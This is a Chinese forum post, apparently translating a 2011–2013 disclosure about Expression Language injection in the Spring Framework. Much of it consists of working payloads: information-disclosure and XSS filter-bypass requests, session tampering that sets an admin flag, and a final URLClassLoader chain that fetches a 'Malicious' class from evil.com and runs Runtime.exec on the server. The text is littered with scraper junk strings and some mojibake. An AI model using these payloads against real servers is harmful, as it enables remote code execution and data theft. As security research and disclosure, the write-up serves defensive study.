找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2213|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with/ p3 q0 r6 A; [6 i
Expression Language Injection
5 v5 W( F* M4 ?# M( _Spring Framework脆弱性—DanAmodio1 c& z! M& n2 {  ~; G: V# K
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
0 P  f1 F( j2 @+ m可能会存在风险。
+ J; ^5 a) M+ g' x: O( [在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的4 c6 j# w) V$ a* x1 M
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可# d# X! g4 G& r5 g6 x( H$ O9 k- T
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
" F- e" {8 P# U6 v) l以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前) \/ g! D$ g3 k! K1 H9 E! |) P
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
2 {6 x/ r8 ^6 Z" _2 T由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
6 |& K& L- f! r% h我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版8 K1 v9 p9 z) w- G& t: C0 h4 f
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
/ m- S4 Z. U4 V& x2 O% v9 {+ w这些版本不支持禁用double EL resolution.
* ^( k) M* ?; `" w这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
+ M: B! D0 e) D: u% wEL2.2容器上可能进行远程代码执行。
" n1 L1 p4 i4 Q! X这是一个原始信息泄露的攻击例子:
: G! c; q+ p* F1 R请求:' \9 b0 R) e, _
ttp://vulnerable.com/foo?message=${applicationScope}
; H8 L0 n9 j2 M到达以下内容页面:9 z; O8 D) D' T! Z
结果将输出一些包含内部服务器信息calsspath 和本地工作目录1 C9 w) z9 L% h3 H' }0 Y
你也可以做一些其他事情,如这样:1 W7 t9 |4 X/ y9 C! o$ S, h
${9999+1}
: U1 t- E. o' {% B0 j还可以访问session 对象和beans
7 r2 I8 F% Q3 L% p${employee.lastName}/ r6 B) d2 P) `% c
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是) o! \& }" p: Y
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东; V3 `: N8 _6 E4 V- D8 g
西,比如XSS.: e: _9 _2 u/ F8 P/ h4 X
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签5 v! I- [1 ]! d4 E; Q
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
/ y& w7 {7 o  X' j5 c; u9 \" `呢?”
" k# {8 ?" O' k& Q9 V0 T因此,我尝试巳缦拢�6 U! ~3 V  f7 C, F, F) [7 o& b
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP* a2 R* |5 b3 k! m& e2 o
P
. r/ Z! _: W  u. T. f: w  u# b我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返1 ~* z/ X9 F' R& o% G
回的文本被插入进了spring:message 标签。
0 Y% b5 V( i' p( @* e2 F' q这里是一个最终绕过过滤的实例:, ^! Y( X2 e7 D* I) i6 ?; A
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
; Z' ^8 k. ~# d4 \5 h' i它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为/ s$ |& V. j! L+ f3 L& e
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?; v6 T) M4 i1 h* [4 P" A
经过一番研究,我学习到EL2.2 增加了方法调用。
, i( [* y- ]$ Y% g' W1 `. g我写了一个快速测试应用程序代码并且检测一些功能
. W7 u# {/ n' [${pageContext.request.getSession().setAttribute(“account”,”123456″)}" r& ?7 p! S! f) e& \* d
${pageContext.request.getSession().setAttribute(“admin”,true)}
( ]. s, [' M- k: |* A1 c) ~( u好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的# o6 ~! E2 E9 g& K; z/ H( |
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
; {8 V  v3 n& {${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1# O( h# a. Z9 g1 q- ]
“, 1234)}7 f+ H. L' \, D  e/ E4 }$ J
${“”.getClass().forName(“java.lang.Runtime”)}
: ?/ i) G- E5 v1 S9 g! [哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不6 ]+ Y( F+ [( E1 s
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函2 F- e1 p- C  z/ s+ ^
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
  N, d& S! u( I9 z. Q7 W+ }$ G一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
( Q% M. V7 t1 F7 X方法签名invoke(Object obj, Object„ args)
2 X8 b& v/ _/ OJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问) d: |; S' a: l2 W: w
题,以让它可以工作起来。" e0 o3 }7 F. |' T6 x; M0 C
漏洞利用:
) ~1 F% \% j. E, ?我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
2 u, d1 c! P$ O$ n# t5 y, Z希望你们中的一些JAVA奇才告诉我我是如此的可笑。$ l, a" t# |' {2 J6 ~- e, h" f$ P
这里有一些我试过的失败的用例,为了试图让它工作的用例:, C. `$ |4 r* Y6 p% ]9 E
 写文件到文件系统
, g$ s( K; R# I, S% e% D; s+ i' u 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.  x, w9 {# z' }7 H& Z
我认为这些可以很好的工作,但是我不能找到合适的类来载入。3 ^6 I- ~% r4 _- M! o+ r  D& s
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}% R) H" L  P, i( I
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:, y( ~( e* X2 x) a! a
org.springframework.expression.spel.standard.SpelExpressionParser not found  K; Q+ E, h5 z0 T) s2 h/ t! w
by
5 `* J( f$ }/ R* I% qorg.glassfish.web.javax.servlet.jsp [194].
' O2 Y3 A7 ?4 T2 ]8 R! g( Y 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
" t! R9 l, Y; N7 W3 T  ~ 利用反射来创建一个新的Runtime(and watch the world burn)1 T, o5 P7 l! s: [5 \, l( T
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
6 n" G1 }5 v: U$ i6 j; A% V/ ~(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
. o/ R8 v$ {& j8 R3 P3 q${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}( @0 j1 J2 o' S
 使用java.lang.ProcessBuilder
! ^4 F/ t1 `+ B- Z 用表达式语言来评估表达式语言' q% c2 a4 O  W
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.- v9 x/ E3 ~/ ]! a! e3 t/ h0 ?
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
4 Y6 P- G7 a) I+ r  Q: d0 x- l“,”".getClass(),null)}. G" G. z7 T3 U8 Y2 S
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)% g" A/ [, c) D4 Y
我在使用一个空数组通过Method.invoke()时失败了很多次
9 ]  |6 N! ^! m7 {) i“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
6 ]8 g6 Y3 B1 F9 S.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A- Y( j* F* o. {+ |- [
rrayList”).newInstance().toArray())
5 g0 V8 v; z/ u& r/ ~java.lang.IllegalArgumentException: wrong number of arguments, C2 j: x. M, b' W1 v7 g- t: p
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
8 H6 K% }7 t8 a! u以创建一个恶意class文件并且指向类装载器.8 u& C" T" R! M. e
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
" e, C' n3 K; m5 E  [public class Malicious {1 L8 L6 ?2 _8 Z4 U" \
public Malicious() {6 L6 L2 d% f1 z
try {
6 S* k( {& S2 H6 Xjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
& [. t# A: j- R: c4 }: v1 M4 Cjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
) l, v, \1 P  O8 N3 v} catch (Exception e) {. n' ~- C% T, [; `" M) [6 ?' b
}
) x5 `. E$ s( Z, f, t7 C  H# k7 A}
  Q; c/ X% H4 x: S7 g我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
& S. x* i6 o5 b) U* U话中,因此它可以被使用.6 |: m% {, |8 d4 s
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName2 J* N$ ^, v" X% Z  [
(“java.util.ArrayList”).newInstance())}
; b9 q3 `* j. o1 E! M0 e, `! wURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建6 U* W" L7 `" {3 h% r
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和- G- ]" n0 R7 e( `5 i0 `- V
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
0 z: X( |* ^7 ?9 N. g  x5 T0 z我们可以调用的create(string)方法,然后转换对一个URL对象。. F* C( ~4 Z0 j" F$ L2 h4 J5 Q
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
, ]& W$ K% Q4 j0 h' F$ qere/malicious/classfile/is/located/”).toURL())}
* h* X* r- l$ l4 {然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
/ M+ q% q3 H  n4 n# Q+ U恶意类文件被装载并创建,触发远程代码.1 \0 P* q" ~+ b* ^5 c2 _
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte/ ~7 i! D9 \2 g
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass()." R/ e- U. ]: l9 }& V% |
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
! M# H& g# U# D* a, O) E) m' J- w; }& H()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表